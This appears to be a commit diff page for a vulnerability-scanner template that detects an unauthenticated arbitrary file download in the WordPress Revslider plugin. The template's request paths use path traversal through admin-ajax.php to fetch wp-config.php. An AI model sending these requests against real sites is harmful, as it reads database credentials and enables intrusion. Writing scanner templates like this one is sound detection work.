Update wp-revslider-file-download.yaml
parent
ba3d453744
commit
a8ee7e2ddf
|
@ -1,4 +1,6 @@
|
|||
id: wp-revslider-file-download
|
||||
|
||||
|
||||
info:
|
||||
name: Wordpress Revslider - Unauthenticated Arbitrary File Download
|
||||
author: pussycat0x
|
||||
|
@ -10,11 +12,15 @@ info:
|
|||
- https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
|
||||
- https://cxsecurity.com/issue/WLB-2021090129
|
||||
tags: wordpress,wp-plugin,lfi
|
||||
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
|
||||
- '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
|
||||
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
|
Loading…
Reference in New Issue